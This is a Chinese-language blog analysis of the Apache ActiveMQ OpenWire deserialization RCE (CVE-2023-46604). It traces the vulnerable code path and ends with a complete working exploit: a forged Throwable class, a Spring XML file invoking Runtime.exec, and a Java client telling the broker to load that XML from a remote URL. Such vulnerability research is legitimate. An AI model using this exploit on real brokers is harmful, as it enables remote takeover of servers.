一、漏洞触发点

org.apache.activemq.openwire.v12包下BaseDataStreamMarshaller类的createThrowable方法。

package org.apache.activemq.openwire.v12;
BaseDataStreamMarshaller类 private Throwable createThrowable(String className, String message) {
try {
Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader());
Constructor constructor = clazz.getConstructor(new Class[] {String.class});
return (Throwable)constructor.newInstance(new Object[] {message});
} catch (Throwable e) {
return new Throwable(className + ": " + message);
}
}

这里通过反射,实现了一个类的构造执行。所以需要找到这样一个类传递进去,类的构造方法参数为String,且能达到攻击效果。

activemq包含Spring,而ClassPathXmlApplicationContext类刚好能满足。

public class MainClassPathXmlApplicationContext {
public static void main(String[] args) throws Exception {
ClassPathXmlApplicationContext classPathXmlApplicationContext = new ClassPathXmlApplicationContext();
Class aClass = Class.forName(classPathXmlApplicationContext.getClass().getName(), false, classPathXmlApplicationContext.getClassLoader());
Constructor constructor = aClass.getConstructor(new Class[]{String.class});
constructor.newInstance(new Object[]{"http://127.0.0.1:7777/poc.xml"});
}
}

二、触发流程

createThrowable的触发来源两处

  1. org.apache.activemq.openwire.v12.BaseDataStreamMarshaller.tightUnmarsalThrowable
  2. org.apache.activemq.openwire.v12.BaseDataStreamMarshaller.looseUnmarsalThrowable

tightUnmarsalThrowable和looseUnmarsalThrowable的作用是将字节流反序列化为异常对象,并将其抛出。在 ActiveMQ 的消息传递过程中,异常对象可以用于在消息发送和接收之间传递错误信息或异常状态。通过将异常对象序列化并作为消息的一部分发送,接收方可以获取到发送方抛出的异常,并反序列化后处理。

这两处继续往上寻找触发点,一共有三处,也就是捕获异常对象是这三种类就可以触发tightUnmarsalThrowable或looseUnmarsalThrowable:

  1. ConnectionErrorMarshaller
  2. ExceptionResponseMarshaller
  3. MessageAckMarshaller

三类都存在tightUnmarshal和looseUnmarshal方法,两个方法分别触发tightUnmarshal和looseUnmarsalThrowable。

继续向上寻找,触发均来自OpenWireFormat类的doUnmarshal,该方法是OpenWire协议的反序列化方法。

在doUnmarshal中,根据dataType索引值对应的类,来执行对应类的tightUnmarshal或looseUnmarshal。

public Object doUnmarshal(DataInput dis) throws IOException {
byte dataType = dis.readByte();
if (dataType != NULL_TYPE) {
DataStreamMarshaller dsm = dataMarshallers[dataType & 0xFF];
if (dsm == null) {
throw new IOException("Unknown data type: " + dataType);
}
Object data = dsm.createObject();
if (this.tightEncodingEnabled) {
BooleanStream bs = new BooleanStream();
bs.unmarshal(dis);
dsm.tightUnmarshal(this, data, dis, bs);
} else {
dsm.looseUnmarshal(this, data, dis);
}
return data;
} else {
return null;
}
}

dataType在dataMarshallers中对应的上述三种类索引如下:

  1. ConnectionErrorMarshaller---16
  2. ExceptionResponseMarshaller---31
  3. MessageAckMarshaller---22

doUnmarshal再往上就是unmarshal,这也是所有数据接收的入口。

通过这里的分析,只要我们将ConnectionErrorMarshaller、ExceptionResponseMarshaller、MessageAckMarshaller三种类型的对象序列化传给ActiveMQ的OpenWire协议接口,就可以让ActiveMQ在接收后进行反序列化,触发createThrowable。

三、传递的对象类型

通过上述知道dataType需要为16、31、22。当发送的对象类为ConnectionErrorExceptionResponseMessageAck的时候dataType分别是16、31、22。

而这三个类接收的exception参数需要继承Throwable,所以可以在本地构造一个与Spring同路径名的ClassPathXmlApplicationContext类并继承Throwable,当ClassPathXmlApplicationContext对象发送后,类路径和message会被解析,最后服务器侧通过类路径反射得到Spring中的ClassPathXmlApplicationContext对象,达到攻击效果。

package org.springframework.context.support;

public class ClassPathXmlApplicationContext extends Throwable{
public ClassPathXmlApplicationContext(String message) {
super(message);
}
}

四、如何发送序列化对象

Transport的oneway可实现对象发送,ActiveMQ的连接对象为ActiveMQConnection类,通过使用ActiveMQConnection类中asyncSendPacket最终调用Transport的oneway,来发送恶意对象。

((ActiveMQConnection)connection).asyncSendPacket(exceptionResponse);

五、利用方式

远程XML文件

<?xml version="1.0" encoding="utf-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="runtime" class="java.lang.Runtime" factory-method="getRuntime" />
<bean id="process" factory-bean="runtime" factory-method="exec">
<constructor-arg value="cmd /c start calc" />
</bean>
</beans>

ClassPathXmlApplicationContext类

package org.springframework.context.support;

public class ClassPathXmlApplicationContext extends Throwable{
public ClassPathXmlApplicationContext(String message) {
super(message);
}
}

最终实现

import javax.jms.*;

public class Main {
private static final String ACTIVEMQ_URL = "tcp://127.0.0.1:61616";
public static void main(String[] args) throws Exception {
ActiveMQConnectionFactory activeMQConnectionFactory = new ActiveMQConnectionFactory(ACTIVEMQ_URL);
Connection connection = activeMQConnectionFactory.createConnection();
connection.start();
Throwable obj = new ClassPathXmlApplicationContext("http://127.0.0.1:7777/poc.xml");
ExceptionResponse exceptionResponse = new ExceptionResponse(obj);
// ConnectionError connectionError = new ConnectionError();
// connectionError.setException(obj); // MessageAck messageAck = new MessageAck();
// messageAck.setPoisonCause(obj);
((ActiveMQConnection)connection).asyncSendPacket(exceptionResponse);
connection.close();
}
}

ActiveMQ RCE CVE-2023-46604分析的更多相关文章

  1. ActiveMQ笔记:源码分析

    本文对ActiveMQ的启动过程,以及BrokerService,TransportConnector和NetworkConnector等几个重要的模块的代码做一个简要的分析. 启动过程 如果要快速地 ...

  2. webmin RCE漏洞利用及分析

    Webmin是目前功能最强大的基于Web的Unix系统管理工具.管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作. 利用条件:webmin <= 1.910 原因:官网 Sou ...

  3. HDU 2023题解分析

    我想说这道题我还没弄明白我错哪了,交了20多遍一直都是Runtime Error,改了N次还是不对,后来搜了一下,说是数组开小了,又把数组开大,还不对,又改发现一个平均值求错,再改,还不对,洗洗睡吧. ...

  4. 工业物联网或系统集成中应用消息队列(ActiveMQ,C#的demo)的场景全面分析

    1.[连载]<C#通讯(串口和网络)框架的设计与实现> 2.[开源]C#跨平台物联网通讯框架ServerSuperIO(SSIO)介绍 2.应用SuperIO(SIO)和开源跨平台物联网框 ...

  5. ActiveMQ的安全机制使用及其源代码分析 [转]

    ActiveMQ是目前较为流行的一款开源消息服务器.最近在项目开发中,需要为ActiveMQ开发基于IP的验证和授权机制,因此,对ActiveMQ的安全机制进行了了解,以下将介绍ActiveMQ的安全 ...

  6. AMQ学习笔记 - 15. 实践方案:基于ActiveMQ的统一日志服务

    概述 以ActiveMQ + Log4j + Spring的技术组合,实现基于消息队列的统一日志服务. 参考:Spring+Log4j+ActiveMQ实现远程记录日志——实战+分析 与参考文章的比较 ...

  7. 基于ActiveMQ的统一日志服务

    概述 以ActiveMQ + Log4j + Spring的技术组合,实现基于消息队列的统一日志服务. 参考:Spring+Log4j+ActiveMQ实现远程记录日志——实战+分析 与参考文章的比较 ...

  8. ActiveMQ相关背景(转)

    概述 介绍中间件.MOM.JMS.ActiveMQ,及相互的关系. 中间件 由于业务的不同.技术的发展.硬件和软件的选择有所差别,导致了异构组件或应用并存的局面.要使这些异构的组件协同工作,一个有效的 ...

  9. PHPMailer 命令执行漏洞(CVE-2016-10033)分析(含通用POC)

    对比一下新老版本:https://github.com/PHPMailer/PHPMailer/compare/v5.2.17…master 其实答案呼之欲出了——和Roundcube的RCE类似,m ...

  10. JMS学习(七)-ActiveMQ消息的持久存储方式之KahaDB存储

    一,介绍 自ActiveMQ5.4以来,KahaDB成为了ActiveMQ默认的持久化存储方式.相比于原来的AMQ存储方式,官方宣称KahaDB使用了更少的文件描述符,并且提供了更快的存储恢复机制. ...

随机推荐

  1. ElasticSearch系列——文档操作

    文章目录 Elasticsearch的增删查改(CURD) 一 CURD之Create 二 CURD之Update 三 CURD之Delete 四 CURD之Retrieve Elasticsearc ...

  2. docker入门加实战——docker安装并配置阿里云加速

    docker入门加实战--docker安装并配置阿里云加速 为什么要学习docker 在开发和部署项目的过程中,经常会遇到如下问题: 软件安装包名字复杂,不知道去哪里找 安装软件和部署项目步骤复杂,容 ...

  3. OI-note

    版权声明:仅供学习. 持续更新中...也算是个人学习的监督与激励吧. OI路漫漫,且行且珍惜. OI太颓了,模拟赛都打不动,班级全是大佬. 算法综合 \(Algorithm\) 杂题综合 Index ...

  4. 文心一言 VS 讯飞星火 VS chatgpt (113)-- 算法导论10.2 5题

    五.用go语言,使用单向循环链表实现字典操作 INSERT.DELETE 和 SEARCH,并给出所写过程的运行时间. 文心一言: 在Go语言中,我们首先需要定义一个Node结构体来表示单向循环链表的 ...

  5. WPF性能优化:Freezable 对象

    Freezable是WPF中一个特殊的基类,用于创建可以冻结(Freeze)的可变对象.冻结一个对象意味着将其状态设置为只读,从而提高性能并允许在多线程环境中共享对象. Freezable的应用 我们 ...

  6. C# ConfigMan.cs

    public static class ConfigMan { public static string ReadKey(string key) { return ConfigurationManag ...

  7. 完蛋!我被 Out of Memory 包围了!

    是极致魅惑.洒脱自由的Java heap space? 是知性柔情.温婉大气的GC overhead limit exceeded? 是纯真无邪.活泼可爱的Metaspace? 如果以上不是你的菜,那 ...

  8. 《最新出炉》系列初窥篇-Python+Playwright自动化测试-27-处理单选和多选按钮-番外篇

    1.简介 前边几篇文章是宏哥自己在本地弄了一个单选和多选的demo,然后又找了网上相关联的例子给小伙伴或童鞋们演示了一下如何使用playwright来处理单选按钮和多选按钮进行自动化测试,想必大家都已 ...

  9. [MDP.NetCore] 使用AzureAD+服務主體,快速建立兩個服務之間的Service身分認證

    MDP.AspNetCore.Authentication.AzureAD.Services for Service Principal MDP.AspNetCore.Authentication.A ...

  10. .NET8.0 AOT 经验分享 FreeSql/FreeRedis/FreeScheduler 均已通过测试

    2023年11月15日,对.net的开发圈是一个重大的日子,.net 8.0正式版发布. 圈内已经预热了有半个月有余,性能不断超越,开发体验越来越完美,早在.net 5.0的时候就各种吹风Aot编译, ...